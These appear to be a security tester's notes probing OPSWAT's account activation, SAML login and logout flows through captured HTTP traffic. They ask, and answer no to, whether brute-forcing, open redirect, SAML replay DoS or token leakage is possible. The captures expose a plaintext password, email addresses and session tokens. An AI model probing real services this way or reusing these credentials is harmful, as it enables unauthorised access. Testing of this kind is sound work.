When a user is invited, the link has the following format:

https://u43084663.ct.sendgrid.net/ls/click?upn=u001.pq-2FtAUnoIkl-2Fvf5JSWHrvUsL-2B2x3hu55FkRCsuYzHHLXwXk5usXYWCnMsjhYzOMevrwE_pUNb9Vcl0uAUmpgSUfMz7UHE6yg7jGURiLAlexrEQzdkOiSPKXLSduQfrht40Fvw83Rus3IgZ3DazVQzNUmOwHFTz6ZIvmki16893nShmldF5BO-2BOXxLMw-2BOrOGPE05jYQ4R740dkKWXCaQPamXz6JnxmJuzQfL0Oz4mTlRvARLIq2QCV-2BUruar1hyDedfYcxQgKRQtUOcvAt15XitHfrw-3D-3D

This URL is a tracking link generated by SendGrid - a popular email delivery service - used to monitor when someone clicks a link in an email.

As we can see, there are some characters that could be URL encoded such as 2F, 2B and 3D. Replace - with % and decode the value of the upn parameter, we have the following value:

u001.pq/tAUnoIkl/vf5JSWHrvUsL+2x3hu55FkRCsuYzHHLXwXk5usXYWCnMsjhYzOMevrwE_pUNb9Vcl0uAUmpgSUfMz7UHE6yg7jGURiLAlexrEQzdkOiSPKXLSduQfrht40Fvw83Rus3IgZ3DazVQzNUmOwHFTz6ZIvmki16893nShmldF5BO+OXxLMw+OrOGPE05jYQ4R740dkKWXCaQPamXz6JnxmJuzQfL0Oz4mTlRvARLIq2QCV+Uruar1hyDedfYcxQgKRQtUOcvAt15XitHfrw==

However, there are nothing that can be extracted from this piece of information.

The link will redirect to the https://id.opswat.com/register URL.

Activate Account & Resend Email ℹ️, ❌

The link that was sent to the user’s email address after registration has the following format:

https://id.opswat.com/active?
code=599493&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001&
SAMLRequest=fZJdT8IwFIb%2FytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn%2BVpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY%2BaO6OhU8JVwh1lI56fFr%2BA3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj%2Br5RJfLE8P1d%2F%2F0L%2BBQ%3D%3D&
RelayState=%2F&
SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&
Signature=eb4QWLlixcdNKAdT1npbfQHh6CHMExpa%2ByOUaWLwNSmMmtXQEbCF0UByO44%2FF7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn%2BGM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh%2F48q%2BP%2Fwy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg%3D%3D

As we can see, there are some information:

  • Code (6 digits)

  • Email is encrypted someway by the server: H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D

  • App ID

  • SAML request. The decoded version:

    <samlp:AuthnRequest xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="id-uJakB2km3ZP3ilpco" Version="2.0" IssueInstant="2025-02-12T09:51:11Z" Destination="https://id.opswat.com/login?app=appMyOPSWAT0001" ForceAuthn="true" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://apiv1.my-beta.opswat.com/saml2/acs/">
    	<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
    		https://id.opswat.com
    	</saml:Issuer>
    </samlp:AuthnRequest>
  • Relay state is / (possible open redirect?)

  • Signature algorithm is an URL

  • Signature

After clicking this link, there will be a POST request sent to the /confirm endpoint like this:

POST /confirm HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739439650.0.0.0
Content-Length: 1014
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"code":"599493","email":"H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT/EnYXNkqWuO/zE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3+9DVXwQAAAAA==","app":"appMyOPSWAT0001","SAMLRequest":"fZJdT8IwFIb/ytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn+VpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY+aO6OhU8JVwh1lI56fFr+A3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj+r5RJfLE8P1d//0L+BQ==","RelayState":"/","SigAlg":"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256","Signature":"eb4QWLlixcdNKAdT1npbfQHh6CHMExpa+yOUaWLwNSmMmtXQEbCF0UByO44/F7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn+GM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh/48q+P/wy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg=="}

However, at the time I clicked this link, the code is expired, as indicated by this response:

HTTP/2 400 Bad Request
Content-Type: application/json
Content-Length: 97
...
 
{
  "error": {
    "statusCode": 400,
    "code": 40051,
    "name": "expiredCodeException"
  }
}

Then, I click the “resend email” button and trigger the following request:

POST /resend HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739439650.0.0.0
Content-Length: 1021
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"email":"marucube35@gmail.com","query":{"app":"appMyOPSWAT0001","SAMLRequest":"fZJdT8IwFIb/ytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn+VpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY+aO6OhU8JVwh1lI56fFr+A3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj+r5RJfLE8P1d//0L+BQ==","RelayState":"/","SigAlg":"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256","Signature":"eb4QWLlixcdNKAdT1npbfQHh6CHMExpa+yOUaWLwNSmMmtXQEbCF0UByO44/F7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn+GM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh/48q+P/wy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg==","activateErrorCode":"40051","activateErrorTraceID":"1-67adbe62-3e529fea5ff2b27c077f0a5f"}}

After that, a new link is sent to my email:

https://id.opswat.com/active?
code=854235&
email=H4sIAAAAAAAAAwXBCQHAMAgDQEsl0EHk8BT%2FEnYXNkqWuO%2FzE5nBaeaHWunnfufmrdTorA4ARpnFaaNBW3%2B9DVXwQAAAAA%3D%3D&
app=appMyOPSWAT0001&
SAMLRequest=fZJdT8IwFIb%2FytL7bd0IFzZsZkiMGAiLm5pwV0aFhvXDnjOUf283NGJiuOjFOT3vydMnnQBXrWVFh3v9JN47ARh8qlYD6y8y0jnNDAcJTHMlgGHDqmK5YGlEGQcQDqXR5CJir2esM2ga05JgPsuI3IbdIz9M04MarcuRbG1jSPAiHPitGfEBPwfQibkG5Bp9i6bjkKZhktb0ho0TliRrEsw8ttQch9Qe0QKLY7mNjIUPjlFjVNyandS33NrMn%2BVpVVavRU0pTUhwb1wjBgMZQdcJEpTflFOpt1Lvrj9pcx4C9lDXZViuqpoExY%2BaO6OhU8JVwh1lI56fFr%2BA3MpjEqlTuBHIL1l7j2nMG4hJPukLNkhwPanieB2n73ivb8MoExolnkj%2Br5RJfLE8P1d%2F%2F0L%2BBQ%3D%3D&
RelayState=%2F&
SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&
Signature=eb4QWLlixcdNKAdT1npbfQHh6CHMExpa%2ByOUaWLwNSmMmtXQEbCF0UByO44%2FF7VgrehWhJ2T81wDiDdW2TZrl9HU7BOowXyecfjm4puMA8qFjD1PAY2SAYULp3iQgAVYwyaAZ9UWy8Vgvn%2BGM8fsUv0FCYgIA2fI4Z0OuFTXGqMA28KSE8mzEpKYvcFhAtX93akOX5zQPdAnpru9SFfTQkC3GbebJx1n6c9w0QImYTnO4Dzf9rxwMlIL8GTldUH3EXInaHsnLI09MVK8CUTh20aCAqHq5lqQh%2F48q%2BP%2Fwy2B2UrME1unYIQ1hrQtu1qTJcTgoD8z4DVbaO4Xo17tKg%3D%3D

Almost all of the parameters are the same except the code.

Question: Can I brute-force the code for bypass email verification and activate the account?

Answer: No.

Because we can not forge the email parameter as it is encrypted.

By clicking this link, a new /confirm request is sent. This time, the request is succeeded and I can log in to the account.

Question: Can I use RelayState parameter for open redirect?

Answer: No.

As the RelayState is used by the identity provider (IdP - id.opswat.com) to signal to the service provider (SP - my-beta.opswat.com) what URL the SP should redirect to after successful sign on (Reference: single sign on - What is exactly RelayState parameter used in SSO (Ex. SAML)? - Stack Overflow), I think that I can use it for open redirect.

However, even though the value will be used in the subsequent login-related requests below, especially after a request is sent to the /auth-successfully endpoint, it does not have any impact in redirection.

SAML Authentication

Login Flow ℹ️, ❌

The authentication flow when typing https://my-beta.opswat.com into the URL bar:

GET /saml2/login/ HTTP/2
Host: apiv1.my-beta.opswat.com
Cache-Control: max-age=0
Authorization: Bearer
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://my-beta.opswat.com
Referer: https://my-beta.opswat.com/

Its response is a server-side redirect:

HTTP/2 302 Found
Date: Thu, 13 Feb 2025 08:51:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJdS8MwFIb%2FSsl927QykbBWqmM42FhZO4XdZV3cgs2HOaeb9dfbdooTZBe5OCfnPTx5yBi4qi3LGjzolXhvBKD3oWoNrL9ISOM0MxwkMM2VAIYVK7LFnMUBZRxAOJRGk4uIvZ6xzqCpTE282SQhcudPj%2BJTKJOLW7d50%2Bv2RLxn4aDbmpAu0M0BNGKmAbnGrkXjkU9jP7op6R0bRYxGG%2BJNOmypOQ6pA6IFFoZyFxgLJ45BZVRYm73U99zapDuLdpkXL1lJKY2INzWuEoOBhKBrBPHyb8oHqXdS768%2FaXseAvZUlrmfL4uSeNmPmkejoVHCFcIdZSXWq%2FkvILfyGAWq9bcC%2BSVr7zEOeQUhScd9wQYJridVHK%2Fj9J3O6%2BswyoRGiS1J%2F5UyDi%2BWp%2Bfq719IvwA%3D&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=X7Jz6n%2BrhShBL5hH6wDfnQw1U4I8GS6dkSSFN%2BcAICphHFKI1hwKWvwf8EpES4CBwgPMrADLBsjZ3gSqJiMH4ooxKnqVHB7o%2BnLLnG2viXCtBZEvOhx%2FgV5NNHqCKSw1Hx7jCRgQ5fdsRfg0l6wZ7VM7TiGG74ZOPn21XyLWxbT1zjFvf3t1I7eg8elAj419ue770CbOE%2FTUKM03MrAUaKP2mF8yeHw7DI9cqJlvpBLAdtDhI2OmEYjkDh%2FSApQMeOj5S2FKKpPhspwrrMGwUdrXyAuBmTbzRHbpPzYI%2F52DomQo%2B6TPZaQm7CvAQApr6zEFT8XZ8fMn4XfUdaMVBw%3D%3D

The redirect request:

GET /login?app=appMyOPSWAT0001&SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=q5gvY7IQLLQfoa0chZPpR0uRGArAD84Y6zuOFjw13n5KqvB1o0EPQw%2Flg1cY0p0RKwiSHkuopGyH2FwtVlANyAgVSjC6GA%2BQOt83tDEWgMG3F2SOh4NmSnMkhaxHFi%2BbjmHObhB%2FRr8n41uJL2B7kj4Kh8Hys5gFMFJuWsBeEgVd07Hu5tuPLvsnZQ%2BKeq7BxjbH1dQBb7hx6gGWiuhpMdLkyHBmpr5Q0%2B0xvTmeUweKHHAPUK8AQ4JZmAMhCFMERKy0F1gVu8nPqXwNtIqKP8TYEOGFjJ0VGUoKJMmIwaA%2BRG5ZYLrVBaWAKItj1dxCvwhdFg%2FK9mmFTy4PyB9Enw%3D%3D HTTP/2
Host: id.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: null

As we can see, there are some parameters that are similar with the /active URL above (except the code and the email).

Somehow, the above redirect request is sent twice.

After that is the following request:

GET /current-user?SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&appId=appMyOPSWAT0001&RelayState=%2F HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/

The SAMLRequest is the same with the redirect request. Also, the Signature parameter is missing from this request and at this time, the UI shows the login page.

Response body of the above request:

{"message":"not found"}

After type in the email, there is POST request:

POST /IDP/lookup HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
Content-Length: 995
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"email":"quan.m.le@opswat.com","location":"https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJRb4IwEMe%2FCuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58%2BwG6zCWLD3246%2F0vv%2F7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu%2FZcMSGdEucaYstFcc%2BdUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP%2FqJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY%2BDwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=q5gvY7IQLLQfoa0chZPpR0uRGArAD84Y6zuOFjw13n5KqvB1o0EPQw%2Flg1cY0p0RKwiSHkuopGyH2FwtVlANyAgVSjC6GA%2BQOt83tDEWgMG3F2SOh4NmSnMkhaxHFi%2BbjmHObhB%2FRr8n41uJL2B7kj4Kh8Hys5gFMFJuWsBeEgVd07Hu5tuPLvsnZQ%2BKeq7BxjbH1dQBb7hx6gGWiuhpMdLkyHBmpr5Q0%2B0xvTmeUweKHHAPUK8AQ4JZmAMhCFMERKy0F1gVu8nPqXwNtIqKP8TYEOGFjJ0VGUoKJMmIwaA%2BRG5ZYLrVBaWAKItj1dxCvwhdFg%2FK9mmFTy4PyB9Enw%3D%3D"}

The response is irrelevant to the flow:

HTTP/2 404 Not Found
Content-Type: application/json
Content-Length: 60
 
{"code":40404,"message":"User is not part of a custom IDP."}

Next request is the login request:

POST /login HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739434877.0.0.0
Content-Length: 533
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"SAMLRequest":"fZJRb4IwEMe/Cuk7UDEuSyMsTGPmopEJm4lvFTpthLbrHW58+wG6zCWLD3246/0vv/7SMfCqNCyu8aDW4qMWgM5XVSpg3UVIaquY5iCBKV4JYJizNF4uWOBRxgGERakVuYqY2xljNepcl8SZT0MiCzefZfT5ONkWzXJzvCtfGuK8CQvt1pC0gXYOoBZzBcgVti0ajFwauINhRu/ZcMSGdEucaYstFcc+dUA0wHxfFp428MnRy3Xll3ov1QM3JmzPslkl6SbOKKUD4sy0zUVvICRoa0Gc5EL5KFUh1f72k3bnIWBPWZa4ySrNiBP/qJloBXUlbCrsSebidb34BeRGngZe1bg7gfyatfMY+DwHn0TjrmC9BNuRVhxv43Sd1ut7P8qEQokNif6VMvavlkfn6u9fiL4B","appId":"appMyOPSWAT0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"/"}

The SAML Request is the same and the RelayState is decoded.

Its response:

HTTP/2 200 OK
Content-Type: application/json
Vary: Accept-Encoding
Date: Thu, 13 Feb 2025 08:58:20 GMT
Set-Cookie: __opswat-session-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-refresh-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-payload-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-login=true; Max-Age=14400; Domain=opswat.com; Path=/; Secure; SameSite=Lax
Content-Security-Policy: frame-ancestors 'self' *.opswat.com;
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: https://id.opswat.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: userpid, Authorization, Content-Type, Accept, details, orgid
Access-Control-Expose-Headers: x-amzn-trace-id
 
{"user":{"consent":{"MA":true,"MDC":true,"SKL":true,"Allbound":true,"OCM":true,"MyOPSWAT":true,"OPSWATStore":true,"AS":true,"MDGateway":true,"Impartner":true},"email":"quan.m.le@opswat.com","given_name":"Quan","isMfaForced":false,"user_id":"aa4fe501-c0e1-4e23-af74-3a3856fec89e"},"loginResponse":{"id":"_4ca4d793-c2ae-4b90-82d8-014e822be803","context":"[BASE64 ENCODED OF THE SAML RESPONSE]","entityEndpoint":"https://apiv1.my-beta.opswat.com/saml2/acs/","acsMethod":"POST","relayState":"/"}}

As we can see:

  • There are some cookies for the id-api.opswat.com domain.
  • The response body has a field named context that contains the base64 encoded of the SAML Response that can be used for sending to the ACS URL (the value has been replaced with the placeholder for shortening the note).

Note

I don’t know what is the purpose of the cookies.

The SAML Response then will be sent to the /saml/acs endpoint. The response when login successfully has the tokens in a server-side redirect request:

HTTP/2 302 Found
Date: Thu, 13 Feb 2025 02:26:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://my.opswat.com/auth-successfully?token=eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk0MTM2MDEsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NDI4MDAxLCJ0b2tlbiI6IjI1SDY1aWg4OFlmZSIsInR5cGUiOiJhY2Nlc3MiLCJ1c2VyX2lkIjoiODg5YWI4NDEtYWIzOC00MTY4LThiODUtMTI2MGViMWVlMzU0IiwiaXNfc3RhZmYiOmZhbHNlfQ.hCkOHHgJqGPYp-5Rk4ByDHwoAYRVUshyk8mwv8IlY0c&refresh=eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk0MTM2MDEsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NDI4MDAxLCJ0b2tlbiI6IjI1SDY1aWg4OFlmZSIsInR5cGUiOiJyZWZyZXNoIiwidXNlcl9pZCI6Ijg4OWFiODQxLWFiMzgtNDE2OC04Yjg1LTEyNjBlYjFlZTM1NCIsImlzX3N0YWZmIjpmYWxzZSwiY3NyZlRva2VuIjoiRDYyUkk4MXNSRFlJVEZyYjNRcWlGYzFZRnY2dWpKQUI0U0V4NHZuczhobTdZMDF1azBqYVhVRHRGNVFjRlAwdiJ9.Ao7c9gcseOJF6jOjGmv-p7k5FCEVJn5pfWyfrJhp124&csrf=D62RI81sRDYITFrb3QqiFc1YFv6ujJAB4SEx4vns8hm7Y01uk0jaXUDtF5QcFP0v&ocm=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJhY2NvdW50SWQiOiI5MWZhYWFjNzY1N2NhYzlmNjFjMDZhZmMyNTAyZmYzMCIsInVzZXJUb2tlbiI6ZmFsc2UsImdvZHZpZXciOmZhbHNlLCJleHAiOjE3Mzk0MTcyMDAsInVzZXJJZCI6ImFhNGZlNTAxLWMwZTEtNGUyMy1hZjc0LTNhMzg1NmZlYzg5ZSIsImlhdCI6MTczOTQxMzYwMH0.BYdpHHrc2tA9O9gZc-YKWMUwPSO12J4lAZA5gVmA2LjHNXYQ1G2QcrwHOsBbT2p5aTpI6D0WjHU75b-nzrYEjg

After receiving the above response, the tokens will be available for use by the client side.

Question: Can I use RelayState for open redirect?

Answer: No.

Maybe because the service provider (my-beta.opswat.com) does not use this value.

As the RelayState is not dynamically generated, the SAML Response can still be used again, which is abnormal as in some other products I can not do this. However, when sending the SAML Response to the ACS URL again, the current logged-in user will be prompt to log in again (possible DoS?).

Question: Can I send the fake SAML Response without signatures repeatedly to conduct DoS attack?

Answer: No.

I believe the cause of the abnormal behavior is when we resend the SAML Response, we instruct the server to issue a new token. Consequently, any subsequent requests using the old token become invalid.

Question: Can I forge a server redirect request (the /auth-successfully endpoint) so the server accept my fake tokens for using?

Answer: No.

Because the tokens are generated by the server side when the SAML Response is sent to the ACS URL.

However, the tokens in URL make me think about finding a way to leak them.

Question: Can I leak the tokens in the /auth-successfully endpoint?

Answer: No.

We can only leak the tokens if they are remained on the URL bar. However, the /auth-successfully endpoint will be redirected to the /home endpoint immediately. Due to this, the tokens can not be leaked via common scenarios such as via the Referer header when user click an attacker-owned link or when the application loads an attacker-owned resource (image, font, css, etc).

Reference: Session token in URL - PortSwigger

Logout Flow ℹ️, ❌

When hit the “Sign Out” button, the application sends this request:

GET /saml2/logout/ HTTP/2
Host: apiv1.my.opswat.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IjEiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE3Mzk1MjMyMzcsIm93bmVyIjoiT1BTV0FUIiwiZXhwIjoxNzM5NTM3NjM3LCJ0b2tlbiI6InBrQzhQNENXWnJZZSIsInR5cGUiOiJhY2Nlc3MiLCJ1c2VyX2lkIjoiYmRlZDNjNWItOWE0ZC00OTcxLWI2NTItZWMwMTQ4N2I5NjIyIiwiaXNfc3RhZmYiOmZhbHNlfQ.qqmUFjzdAm9KUxyVZVxpvfUywEhZGwLc2IPNz50yc6M
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://my.opswat.com
Referer: https://my.opswat.com/

As we can see, this request is sent with a JWT.

Question: Can I use a fake token to conduct DoS attack on a logged-in user?

Answer: No.

The response is a server side redirect:

HTTP/2 302 Found
Date: Fri, 14 Feb 2025 09:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
